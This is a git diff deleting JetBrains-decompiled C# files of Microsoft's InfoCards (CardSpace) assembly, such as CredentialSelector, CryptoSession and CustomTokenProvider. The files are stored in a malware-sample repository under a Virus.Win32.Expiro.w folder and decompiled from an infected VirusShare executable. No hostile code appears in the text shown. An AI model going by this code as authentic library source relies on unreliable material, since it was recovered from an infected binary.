a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CreateCardRequest.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CreateCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class CreateCardRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private InfoCard m_card; - - public CreateCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - this.m_policy = this.GetPolicy(); - this.m_card = InfoCard.NewCard(new CultureInfo(this.ParentRequest.UserLanguage)); - } - - protected override void OnMarshalOutArgs() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(this.OutArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CredentialSelector.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CredentialSelector.cs deleted file mode 100644 index 10ba3090..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CredentialSelector.cs +++ /dev/null @@ -1,252 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CredentialSelector -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class CredentialSelector : IXmlSerializable - { - private CredentialSelectorType m_type; - private byte[] m_data; - - public CredentialSelector() => this.m_type = CredentialSelectorType.InvalidSelector; - - public CredentialSelectorType Type - { - get => this.m_type; - set => this.m_type = value; - } - - public bool IsComplete() => CredentialSelectorType.InvalidSelector != this.m_type && this.m_data != null && this.m_data.Length > 0; - - public string GetStringWithoutNullTerminator() - { - if (this.m_data == null) - return (string) null; - string str = Encoding.Unicode.GetString(this.m_data); - return str.Substring(0, str.Length - 1); - } - - public byte[] GetBytes() - { - if (this.m_data == null) - return (byte[]) null; - byte[] destinationArray = new byte[this.m_data.Length]; - Array.Copy((Array) this.m_data, 0, (Array) destinationArray, 0, this.m_data.Length); - return destinationArray; - } - - public void SetValue(string data) => this.m_data = Encoding.Unicode.GetBytes(data + "\0"); - - public void SetValue(byte[] data, int index, int length) - { - byte[] destinationArray = new byte[length]; - Array.Copy((Array) data, index, (Array) destinationArray, 0, length); - this.m_data = destinationArray; - } - - public void Serialize(BinaryWriter writer) - { - writer.Write((int) this.m_type); - Utility.SerializeBytes(writer, this.m_data); - } - - public void Deserialize(BinaryReader reader) - { - this.m_type = (CredentialSelectorType) reader.ReadInt32(); - this.m_data = reader.ReadBytes(reader.ReadInt32()); - } - - public System.Xml.Schema.XmlSchema GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - switch (this.m_type) - { - case CredentialSelectorType.X509CertificateIssuerNameSelector: - this.WriteX509CertificateIssuerNameSelector(writer); - break; - case CredentialSelectorType.X509CertificateIssuerSerialNoSelector: - this.WriteX509CertificateIssuerSerialNoSelector(writer); - break; - case CredentialSelectorType.X509CertificateKeyHashSelector: - this.WriteX509CertificateKeyHashSelector(writer); - break; - case CredentialSelectorType.UserNameSelector: - this.WriteUserNameSelector(writer); - break; - case CredentialSelectorType.SelfIssuedCardIdSelector: - this.WriteSelfIssuedCardIdSelector(writer); - break; - case CredentialSelectorType.UserPrincipalNameSelector: - this.WriteUserPrincipalNameSelector(writer); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - } - } - - public void ReadXml(XmlReader reader) - { - switch (reader.LocalName) - { - case "Username": - this.ReadUserNameSelector(reader); - break; - case "X509IssuerName": - this.ReadX509IssuerNameSelector(reader); - break; - case "X509SerialNumber": - this.ReadX509IssuerSerialNumberSelector(reader); - break; - case "KeyIdentifier": - this.ReadX509KeyIdentifierSelector(reader); - break; - case "PrivatePersonalIdentifier": - this.ReadSelfIssuedSelector(reader); - break; - case "UserPrincipalName": - this.ReadUserPrincipalNameSelector(reader); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - } - } - - private void WriteUserNameSelector(XmlWriter writer) - { - writer.WriteStartElement("Username", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.GetStringWithoutNullTerminator()); - writer.WriteEndElement(); - } - - private void WriteUserPrincipalNameSelector(XmlWriter writer) - { - writer.WriteStartElement("UserPrincipalName", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.GetStringWithoutNullTerminator()); - writer.WriteEndElement(); - } - - private void WriteX509CertificateIssuerNameSelector(XmlWriter writer) - { - writer.WriteStartElement("X509IssuerName", "http://www.w3.org/2000/09/xmldsig#"); - string withoutNullTerminator = this.GetStringWithoutNullTerminator(); - if (!string.IsNullOrEmpty(withoutNullTerminator)) - writer.WriteString(withoutNullTerminator); - writer.WriteEndElement(); - } - - private void WriteX509CertificateIssuerSerialNoSelector(XmlWriter writer) - { - writer.WriteStartElement("X509SerialNumber", "http://www.w3.org/2000/09/xmldsig#"); - BigInt bigInt = new BigInt(this.GetBytes()); - writer.WriteString(bigInt.ToDecimal()); - writer.WriteEndElement(); - } - - private void WriteX509CertificateKeyHashSelector(XmlWriter writer) - { - writer.WriteStartElement("KeyIdentifier", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"); - writer.WriteAttributeString("ValueType", (string) null, "http://docs.oasis-open.org/wss/2004/xx/oasis-2004xx-wss-soap-message-security-1.1#ThumbprintSHA1"); - writer.WriteString(Convert.ToBase64String(this.GetBytes(), Base64FormattingOptions.None)); - writer.WriteEndElement(); - } - - private void WriteSelfIssuedCardIdSelector(XmlWriter writer) - { - writer.WriteStartElement("PrivatePersonalIdentifier", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - string withoutNullTerminator = this.GetStringWithoutNullTerminator(); - if (!string.IsNullOrEmpty(withoutNullTerminator)) - writer.WriteString(withoutNullTerminator); - writer.WriteEndElement(); - } - - private void ReadUserNameSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("Username" != reader.LocalName || "http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.UserNameSelector; - string data = reader.ReadElementContentAsString().Trim(); - if (string.IsNullOrEmpty(data)) - return; - this.SetValue(data); - } - - private void ReadUserPrincipalNameSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("UserPrincipalName" != reader.LocalName || "http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.UserPrincipalNameSelector; - } - - private void ReadX509IssuerNameSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("X509IssuerName" != reader.LocalName || "http://www.w3.org/2000/09/xmldsig#" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.X509CertificateIssuerNameSelector; - string data = reader.ReadElementContentAsString().Trim(); - if (string.IsNullOrEmpty(data)) - return; - this.SetValue(data); - } - - private void ReadX509IssuerSerialNumberSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("X509SerialNumber" != reader.LocalName || "http://www.w3.org/2000/09/xmldsig#" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.X509CertificateIssuerSerialNoSelector; - BigInt bigInt = new BigInt(); - string decNum = reader.ReadElementContentAsString().Trim(); - try - { - if (string.IsNullOrEmpty(decNum)) - return; - bigInt.FromDecimal(decNum); - byte[] byteArray = bigInt.ToByteArray(); - this.SetValue(byteArray, 0, byteArray.Length); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidSerialNumber"))); - } - } - - private void ReadX509KeyIdentifierSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("KeyIdentifier" != reader.LocalName || "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.X509CertificateKeyHashSelector; - string attribute = reader.GetAttribute("ValueType"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("ValueType", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"); - if ("http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1" != attribute && "http://docs.oasis-open.org/wss/2004/xx/oasis-2004xx-wss-soap-message-security-1.1#ThumbprintSHA1" != attribute) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceUnsupportedKeyIdentifierType"))); - try - { - MemoryStream memoryStream = Utility.ReadByteStreamFromBase64(reader); - int int32 = Convert.ToInt32(memoryStream.Length); - if (int32 <= 0) - return; - this.SetValue(memoryStream.GetBuffer(), 0, int32); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidThumbPrintValue"))); - } - } - - private void ReadSelfIssuedSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("PrivatePersonalIdentifier" != reader.LocalName || "http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.SelfIssuedCardIdSelector; - string data = reader.ReadElementContentAsString().Trim(); - if (string.IsNullOrEmpty(data)) - return; - this.SetValue(data); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CredentialSelectorType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CredentialSelectorType.cs deleted file mode 100644 index 3ea7bf95..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CredentialSelectorType.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CredentialSelectorType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal enum CredentialSelectorType - { - InvalidSelector = -1, // 0xFFFFFFFF - X509CertificateIssuerNameSelector = 0, - X509CertificateIssuerSerialNoSelector = 1, - X509CertificateKeyHashSelector = 2, - X509CertificateKeyIdSelector = 3, - UserNameSelector = 4, - SpnSelector = 5, - SelfIssuedCardIdSelector = 6, - RsaKeyValueSelector = 7, - UserPrincipalNameSelector = 8, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CryptoSession.cs deleted file mode 100644 index 422902e8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CryptoSession.cs +++ /dev/null @@ -1,232 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class CryptoSession - { - private const int m_MaxSessionCount = 1073741823; - public static readonly TimeSpan MaxSessionLifetime = new TimeSpan(1, 0, 0); - private static CryptoSession.CryptoSessionDictionary s_sessionCollection = new CryptoSession.CryptoSessionDictionary(); - private static object s_syncRoot = new object(); - private Process m_process; - private int m_sessionid; - private EventHandler m_processExitHandler; - private EventHandler m_serviceStoppingHandler; - private Timer m_timer; - private bool m_isDisposed; - private object m_syncRoot; - private WindowsIdentity m_identity; - private DateTime m_expiration; - private CryptoSession.SessionType m_type; - - protected CryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - object key, - CryptoSession.SessionType type) - { - InfoCardTrace.Assert(null != key, "null key passed in to CryptoSession ctor"); - try - { - this.m_process = ProcessMonitor.GetProcessById(process.Id); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ProcessExitedException(SR.GetString("ServiceClientProcessExited", (object) process.Id), (Exception) ex)); - } - this.m_syncRoot = new object(); - this.m_identity = identity; - this.m_expiration = expiration; - this.m_type = type; - lock (CryptoSession.s_syncRoot) - { - int newHandle; - try - { - newHandle = CryptoSession.s_sessionCollection.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceTooManyCryptoSessions", (object) CryptoSession.s_sessionCollection.MaxSize), (Exception) ex)); - } - bool flag = false; - try - { - this.m_processExitHandler = new EventHandler(this.OnProcessExit); - this.m_process.Exited += this.m_processExitHandler; - if (process.HasExited || this.m_process.HasExited) - throw InfoCardTrace.ThrowHelperError((Exception) new ProcessExitedException(SR.GetString("ServiceProcessHasExited"))); - TimeSpan dueTime = expiration - DateTime.UtcNow; - if (dueTime > CryptoSession.MaxSessionLifetime) - dueTime = CryptoSession.MaxSessionLifetime; - this.m_timer = new Timer(InfoCardTrace.ThunkCallback(new TimerCallback(this.OnTimeout)), (object) null, dueTime, new TimeSpan(0, 0, 0, 0, -1)); - this.m_serviceStoppingHandler = new EventHandler(this.OnServiceStopping); - InfoCardService.Stopping += this.m_serviceStoppingHandler; - CryptoSession.s_sessionCollection[newHandle] = this; - this.m_sessionid = newHandle; - flag = true; - } - finally - { - if (!flag) - CryptoSession.s_sessionCollection.Remove(newHandle); - } - } - } - - protected uint ProcessId => (uint) this.m_process.Id; - - protected Process ProcessObj => this.m_process; - - protected WindowsIdentity Identity => this.m_identity; - - protected SecurityIdentifier ClientSid => this.m_identity.User; - - protected DateTime Expiration => this.m_expiration; - - public void Write(BinaryWriter bwriter) - { - bwriter.Write((int) this.m_type); - bwriter.Write(this.m_sessionid); - bwriter.Write(this.m_expiration.ToFileTime()); - this.OnWrite(bwriter); - } - - private void OnTimeout(object state) => this.Dispose(); - - private void OnProcessExit(object sender, EventArgs e) => this.DisposeAsClient(); - - private void OnServiceStopping(object sender, EventArgs e) => this.DisposeAsClient(); - - private void DisposeAsClient() - { - try - { - WindowsImpersonationContext impersonationContext = this.m_identity.Impersonate(); - try - { - this.Dispose(); - } - finally - { - impersonationContext.Undo(); - } - } - catch (Exception ex) - { - throw; - } - } - - protected void ThrowIfDisposed() - { - if (this.m_isDisposed) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException("CryptoSession " + (object) this.m_sessionid)); - } - - protected virtual void OnDispose() - { - } - - protected virtual void OnWrite(BinaryWriter bwriter) - { - } - - public void Dispose() - { - bool flag = false; - lock (this.m_syncRoot) - { - if (!this.m_isDisposed) - { - this.m_isDisposed = true; - flag = true; - if (this.m_serviceStoppingHandler != null) - { - InfoCardService.Stopping -= this.m_serviceStoppingHandler; - this.m_serviceStoppingHandler = (EventHandler) null; - } - if (this.m_process != null) - { - if (this.m_processExitHandler != null) - { - this.m_process.Exited -= this.m_processExitHandler; - this.m_processExitHandler = (EventHandler) null; - } - this.m_process = (Process) null; - } - if (this.m_timer != null) - { - this.m_timer.Dispose(); - this.m_timer = (Timer) null; - } - this.OnDispose(); - } - } - if (!flag) - return; - lock (CryptoSession.s_syncRoot) - CryptoSession.s_sessionCollection.Remove(this.m_sessionid); - } - - public static CryptoSession Create( - Process process, - DateTime expiration, - WindowsIdentity identity, - RSACryptoServiceProvider key) - { - return (CryptoSession) new AsymmetricCryptoSession(process, expiration, identity, key); - } - - public static CryptoSession Create( - Process process, - DateTime expiration, - WindowsIdentity identity, - byte[] key) - { - return (CryptoSession) new SymmetricCryptoSession(process, expiration, identity, key); - } - - public static CryptoSession Find( - int sessionId, - uint processId, - SecurityIdentifier clientSid) - { - CryptoSession cryptoSession; - lock (CryptoSession.s_syncRoot) - { - cryptoSession = CryptoSession.s_sessionCollection.ContainsHandle(sessionId) ? CryptoSession.s_sessionCollection[sessionId] : throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnknownCryptoSessionId"))); - if ((int) cryptoSession.ProcessId != (int) processId) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnknownCryptoSessionId"))); - if (cryptoSession.ClientSid != clientSid) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnknownCryptoSessionId"))); - } - return cryptoSession; - } - - private class CryptoSessionDictionary : HandleDictionary - { - } - - protected enum SessionType - { - Asymmetric = 1, - Symmetric = 2, - Transfrom = 3, - Hash = 4, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CustomTokenProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CustomTokenProvider.cs deleted file mode 100644 index c7b1fb9d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CustomTokenProvider.cs +++ /dev/null @@ -1,94 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CustomTokenProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.ObjectModel; -using System.IdentityModel.Policy; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.ServiceModel; -using System.ServiceModel.Security.Tokens; - -namespace Microsoft.InfoCards -{ - internal class CustomTokenProvider : SecurityTokenProvider, IDisposable - { - private InfoCardPolicy m_policy; - private InfoCard m_card; - private IssuedSecurityTokenParameters m_parameters; - private TokenDescriptor m_token; - private EndpointAddress m_target; - private SelfIssuedSamlTokenFactory m_tokenFactory; - private bool m_isSelfIssuedCreds; - private ProtocolProfile m_protocolProfile; - private SelfIssuedAuthProofToken m_proofToken; - - public CustomTokenProvider( - IssuedSecurityTokenParameters parameters, - InfoCard card, - EndpointAddress target, - bool isSelfIssuedCreds, - ProtocolProfile profile) - { - this.m_isSelfIssuedCreds = isSelfIssuedCreds; - this.m_card = card; - this.m_parameters = parameters; - this.m_target = target; - this.m_protocolProfile = profile; - this.ValidatePolicy(); - this.m_tokenFactory = new SelfIssuedSamlTokenFactory(); - } - - public void Dispose() - { - if (this.m_token != null) - { - this.m_token.Dispose(); - this.m_token = (TokenDescriptor) null; - } - if (this.m_proofToken == null) - return; - this.m_proofToken.Dispose(); - this.m_proofToken = (SelfIssuedAuthProofToken) null; - } - - private void ValidatePolicy() - { - try - { - this.m_policy = PolicyFactory.CreatePolicyForCustomTokenProvider(this.m_target, this.m_parameters, this.m_protocolProfile); - this.m_policy.SetRecipientInfo(this.m_policy.ImmediateTokenRecipient, (string) null, 0U); - if (this.m_isSelfIssuedCreds) - this.m_policy.ThrowIfNonPpidClaimsPresent(); - this.m_policy.Validate(); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("FailedReadingIPSTSPolicy"), ex)); - throw; - } - } - - protected override SecurityToken GetTokenCore(TimeSpan timeout) - { - StoreConnection connection = StoreConnection.GetConnection(); - this.m_card.Connection = connection; - try - { - this.m_token = this.m_tokenFactory.CreateToken(this.m_card, (TokenFactoryCredential) null, this.m_policy, false); - this.m_proofToken = this.m_token.SymmetricProof != null ? new SelfIssuedAuthProofToken(new InMemorySymmetricSecurityKey(this.m_token.SymmetricProof.Key), this.m_token.ExpirationTime) : new SelfIssuedAuthProofToken(this.m_card.GetPrivateCryptography(this.m_policy.Recipient.GetIdentifier()), this.m_token.ExpirationTime); - return (SecurityToken) new GenericXmlSecurityToken(this.m_token.ProtectedToken, (SecurityToken) this.m_proofToken, this.m_token.EffectiveTime, this.m_token.ExpirationTime, (SecurityKeyIdentifierClause) new SamlAssertionKeyIdentifierClause(this.m_token.TokenId), (SecurityKeyIdentifierClause) null, (ReadOnlyCollection) null); - } - finally - { - connection.Close(); - this.m_card.Connection = (StoreConnection) null; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataAccessException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataAccessException.cs deleted file mode 100644 index ec47ebe1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataAccessException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataAccessException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class DataAccessException : InfoCardBaseException - { - private const int HRESULT = -1073413887; - - public DataAccessException() - : base(-1073413887) - { - } - - public DataAccessException(string message) - : base(-1073413887, message) - { - } - - public DataAccessException(string message, Exception inner) - : base(-1073413887, message, inner) - { - } - - protected DataAccessException(SerializationInfo si, StreamingContext sc) - : base(-1073413887, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataBlob.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataBlob.cs deleted file mode 100644 index 41cf4b6d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataBlob.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataBlob -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal struct DataBlob - { - public int cbData; - public IntPtr pbData; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataRow.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataRow.cs deleted file mode 100644 index 45a3f346..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataRow.cs +++ /dev/null @@ -1,116 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataRow -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal class DataRow - { - private string m_instanceId; - private string m_sourceId; - private int m_localId; - private int m_objectType; - private long m_lastChange; - private int m_objectSize; - private GlobalId m_globalId; - private byte[] m_buffer; - private DataRowIndexBuffer m_indexBuffer; - - public DataRow() - : this((string) null, (string) null) - { - } - - private DataRow(string instanceId, string sourceId) - { - this.m_instanceId = instanceId; - this.m_sourceId = sourceId; - this.m_indexBuffer = new DataRowIndexBuffer(); - } - - public GlobalId GlobalId - { - get => this.m_globalId; - set - { - this.m_globalId = !(GlobalId.Empty == value) ? value : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (value)); - this.SetIndexValue("ix_globalid", (object) value); - } - } - - public string InstanceId - { - get => this.m_instanceId; - internal set => this.m_instanceId = value; - } - - public string SourceId - { - get => this.m_sourceId; - internal set => this.m_sourceId = value; - } - - public long LastChange - { - get => this.m_lastChange; - internal set => this.m_lastChange = value; - } - - public int LocalId - { - get => this.m_localId; - internal set => this.m_localId = value; - } - - public int ObjectType - { - get => this.m_objectType; - set - { - this.m_objectType = value; - this.SetIndexValue("ix_objecttype", (object) value); - } - } - - internal DataRowIndexBuffer IndexBuffer => this.m_indexBuffer; - - public void SetDataField(byte[] buffer) => this.SetDataField(buffer, buffer.Length); - - public void SetDataField(byte[] buffer, int size) - { - this.m_buffer = buffer; - this.m_objectSize = size; - } - - public byte[] GetDataField() => this.m_buffer; - - public void SetMultiIndexValue(string name, params object[][] multiValues) - { - IndexObject[] indexObjects = new IndexObject[multiValues.Length]; - for (int index = 0; index < multiValues.Length; ++index) - indexObjects[index] = new IndexObject(multiValues[index]); - this.m_indexBuffer.SetIndexValues(name, indexObjects); - } - - public void SetIndexValue(string name, params object[] values) - { - object[][] objArray = new object[values.Length][]; - for (int index = 0; index < objArray.Length; ++index) - objArray[index] = new object[1]{ values[index] }; - this.SetMultiIndexValue(name, objArray); - } - - internal static unsafe DataRow Create(EncryptedObjectHeader* pHeader, DataSource source) => new DataRow(source.InstanceId, source.SourceId) - { - LastChange = pHeader->LastChange, - ObjectType = pHeader->ObjectType, - LocalId = pHeader->LocalId, - GlobalId = pHeader->GlobalId, - m_objectSize = pHeader->DataSize - }; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataRowIndexBuffer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataRowIndexBuffer.cs deleted file mode 100644 index b5c71e4f..00000000 --- 